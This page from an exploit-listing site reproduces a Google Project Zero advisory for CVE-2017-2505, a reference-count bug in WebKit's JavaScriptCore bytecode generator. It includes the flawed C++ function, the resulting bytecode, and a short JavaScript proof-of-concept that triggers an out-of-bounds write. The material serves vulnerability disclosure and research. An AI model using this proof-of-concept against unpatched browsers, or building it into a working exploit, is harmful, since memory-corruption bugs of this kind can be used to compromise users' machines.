Advertisement






WebKit JSC BindingNode::bindValue Failed Reference Count Increase

CVE Category Price Severity
CVE-2017-2505 CWE-119 $50,000 Critical
Author Risk Exploitation Type Date
Google Project Zero Critical Remote 2017-05-26
CPE
cpe:cpe:/a:apple:webkit
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.0901 0.72174

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017050185

Below is a copy:

WebKit JSC BindingNode::bindValue Failed Reference Count Increase WebKit: JSC: BindingNode::bindValue doesn't increase the scope's reference count 

CVE-2017-2505


Here's a snippet of BindingNode::bindValue.

void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const
{
    ...
    RegisterID* scope = generator.emitResolveScope(nullptr, var);
    generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd());
    if (m_bindingContext == AssignmentContext::AssignmentExpression)
        generator.emitTDZCheckIfNecessary(var, nullptr, scope);
    if (isReadOnly) {
        generator.emitReadOnlyExceptionIfNeeded(var);
        return;
    }
    generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext));
    generator.emitProfileType(value, var, divotStart(), divotEnd());
    if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement)
        generator.liftTDZCheckIfPossible(var);
    ...
}

That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used.

Generated opcode of the PoC:
[ 124] resolve_scope     loc13, loc3, a(@id4), <ClosureVar>, 0, 0x62d00011f1a0
[ 131] get_from_scope    loc13, loc13, a(@id4), 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, 0    predicting None
[ 139] op_check_tdz      loc13
[ 141] put_to_scope      loc13, a(@id4), loc12, 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, <structure>, 0

At 131, loc13 which points the scope is overwritten with |a|.
At 141, |a| is used as a scope, and it causes OOB write.

PoC:
(function () {
    let a = {
        get val() {
            [...{a = 1.45}] = [];
            a.val.x;
        },
    };

    a.val;
})();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum